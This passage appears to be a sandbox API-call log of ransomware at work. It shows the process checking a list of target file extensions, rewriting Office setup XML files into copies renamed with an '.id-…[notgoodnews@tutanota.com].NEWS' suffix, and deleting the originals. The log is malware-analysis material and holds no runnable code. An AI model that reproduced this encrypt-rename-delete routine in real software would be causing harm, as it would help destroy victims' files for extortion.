(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0060.340] lstrlenW (lpString=".jpg") returned 4 [0060.340] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0060.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0060.341] lstrlenW (lpString=".doc") returned 4 [0060.341] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.341] lstrlenW (lpString=".docx") returned 5 [0060.341] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0060.341] lstrlenW (lpString=".pdf") returned 4 [0060.341] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.341] lstrlenW (lpString=".xls") returned 4 [0060.341] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.341] lstrlenW (lpString=".xlsx") returned 5 [0060.341] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0060.341] lstrlenW (lpString=".ppt") returned 4 [0060.341] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0060.341] lstrlenW (lpString=".zip") returned 4 [0060.341] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.342] lstrlenW (lpString=".rar") returned 4 [0060.342] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.342] lstrlenW (lpString=".bz2") returned 4 [0060.342] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.342] lstrlenW (lpString=".7z") returned 3 [0060.342] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0060.342] lstrlenW (lpString=".dbf") returned 4 [0060.342] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0060.342] lstrlenW (lpString=".1cd") returned 4 [0060.342] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0060.342] lstrlenW (lpString=".jpg") returned 4 [0060.342] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.342] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0060.343] lstrlenW (lpString="SETUP.XML") returned 9 [0060.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.775] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=31094) returned 1 [0060.775] CloseHandle (hObject=0x1e8) returned 1 [0060.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0060.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0060.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.775] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.776] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0061.087] GetLastError () returned 0x0 [0061.087] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x7976, lpOverlapped=0x0) returned 1 [0061.137] WriteFile (in: hFile=0x210, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0061.139] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.139] WriteFile (in: hFile=0x210, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.140] SetEndOfFile (hFile=0x210) returned 1 [0061.140] CloseHandle (hObject=0x210) returned 1 [0061.141] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.141] SetEndOfFile (hFile=0x1e8) returned 1 [0061.143] CloseHandle (hObject=0x1e8) returned 1 [0061.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.143] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0061.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0061.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0061.144] lstrlenW (lpString=".doc") returned 4 [0061.144] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.144] lstrlenW (lpString=".docx") returned 5 [0061.144] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0061.144] lstrlenW (lpString=".pdf") returned 4 [0061.144] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.144] lstrlenW (lpString=".xls") returned 4 [0061.144] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.144] lstrlenW (lpString=".xlsx") returned 5 [0061.144] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0061.144] lstrlenW (lpString=".ppt") returned 4 [0061.144] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0061.144] lstrlenW (lpString=".zip") returned 4 [0061.144] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.144] lstrlenW (lpString=".rar") returned 4 [0061.145] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.145] lstrlenW (lpString=".bz2") returned 4 [0061.145] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.145] lstrlenW (lpString=".7z") returned 3 [0061.145] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0061.145] lstrlenW (lpString=".dbf") returned 4 [0061.145] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0061.145] lstrlenW (lpString=".1cd") returned 4 [0061.145] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0061.145] lstrlenW (lpString=".jpg") returned 4 [0061.145] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0061.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0061.145] lstrlenW (lpString=".doc") returned 4 [0061.145] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.145] lstrlenW (lpString=".docx") returned 5 [0061.145] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0061.146] lstrlenW (lpString=".pdf") returned 4 [0061.146] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.146] lstrlenW (lpString=".xls") returned 4 [0061.146] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.146] lstrlenW (lpString=".xlsx") returned 5 [0061.146] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0061.146] lstrlenW (lpString=".ppt") returned 4 [0061.146] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0061.146] lstrlenW (lpString=".zip") returned 4 [0061.146] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.146] lstrlenW (lpString=".rar") returned 4 [0061.146] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.146] lstrlenW (lpString=".bz2") returned 4 [0061.146] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.146] lstrlenW (lpString=".7z") returned 3 [0061.146] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0061.146] lstrlenW (lpString=".dbf") returned 4 [0061.146] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0061.147] lstrlenW (lpString=".1cd") returned 4 [0061.147] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0061.147] lstrlenW (lpString=".jpg") returned 4 [0061.147] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.147] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0061.147] lstrlenW (lpString="SETUP.XML") returned 9 [0061.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.155] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=2424) returned 1 [0061.155] CloseHandle (hObject=0x1f0) returned 1 [0061.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0061.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.155] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.155] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0061.156] GetLastError () returned 0x0 [0061.156] ReadFile (in: hFile=0x1f0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x978, lpOverlapped=0x0) returned 1 [0061.160] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x980, lpOverlapped=0x0) returned 1 [0061.162] ReadFile (in: hFile=0x1f0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.162] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.162] SetEndOfFile (hFile=0x1f4) returned 1 [0061.162] CloseHandle (hObject=0x1f4) returned 1 [0061.163] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.163] SetEndOfFile (hFile=0x1f0) returned 1 [0061.165] CloseHandle (hObject=0x1f0) returned 1 [0061.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.165] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0061.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0061.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0061.166] lstrlenW (lpString=".doc") returned 4 [0061.166] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.166] lstrlenW (lpString=".docx") returned 5 [0061.166] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0061.166] lstrlenW (lpString=".pdf") returned 4 [0061.166] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.166] lstrlenW (lpString=".xls") returned 4 [0061.166] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.166] lstrlenW (lpString=".xlsx") returned 5 [0061.166] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0061.166] lstrlenW (lpString=".ppt") returned 4 [0061.167] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0061.167] lstrlenW (lpString=".zip") returned 4 [0061.167] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.167] lstrlenW (lpString=".rar") returned 4 [0061.167] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.167] lstrlenW (lpString=".bz2") returned 4 [0061.167] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.167] lstrlenW (lpString=".7z") returned 3 [0061.167] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0061.167] lstrlenW (lpString=".dbf") returned 4 [0061.167] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0061.167] lstrlenW (lpString=".1cd") returned 4 [0061.167] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0061.167] lstrlenW (lpString=".jpg") returned 4 [0061.167] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0061.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0061.168] lstrlenW (lpString=".doc") returned 4 [0061.168] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.168] lstrlenW (lpString=".docx") returned 5 [0061.168] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0061.168] lstrlenW (lpString=".pdf") returned 4 [0061.168] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.168] lstrlenW (lpString=".xls") returned 4 [0061.168] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.168] lstrlenW (lpString=".xlsx") returned 5 [0061.168] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0061.168] lstrlenW (lpString=".ppt") returned 4 [0061.168] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0061.168] lstrlenW (lpString=".zip") returned 4 [0061.168] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.168] lstrlenW (lpString=".rar") returned 4 [0061.168] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.168] lstrlenW (lpString=".bz2") returned 4 [0061.168] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.168] lstrlenW (lpString=".7z") returned 3 [0061.168] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0061.169] lstrlenW (lpString=".dbf") returned 4 [0061.169] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0061.169] lstrlenW (lpString=".1cd") returned 4 [0061.169] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0061.169] lstrlenW (lpString=".jpg") returned 4 [0061.169] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.169] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0061.169] lstrlenW (lpString="WordMUI.XML") returned 11 [0061.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.170] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1800) returned 1 [0061.170] CloseHandle (hObject=0x1f0) returned 1 [0061.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0061.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.170] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.171] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.175] GetLastError () returned 0x0 [0061.175] ReadFile (in: hFile=0x1f0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x708, lpOverlapped=0x0) returned 1 [0061.232] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x710, lpOverlapped=0x0) returned 1 [0061.233] ReadFile (in: hFile=0x1f0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.233] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.234] SetEndOfFile (hFile=0x1e8) returned 1 [0061.234] CloseHandle (hObject=0x1e8) returned 1 [0061.235] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.235] SetEndOfFile (hFile=0x1f0) returned 1 [0061.236] CloseHandle (hObject=0x1f0) returned 1 [0061.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.237] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0061.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0061.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0061.237] lstrlenW (lpString=".doc") returned 4 [0061.237] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.237] lstrlenW (lpString=".docx") returned 5 [0061.237] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0061.237] lstrlenW (lpString=".pdf") returned 4 [0061.237] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.237] lstrlenW (lpString=".xls") returned 4 [0061.238] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.238] lstrlenW (lpString=".xlsx") returned 5 [0061.238] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0061.238] lstrlenW (lpString=".ppt") returned 4 [0061.238] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.238] lstrlenW 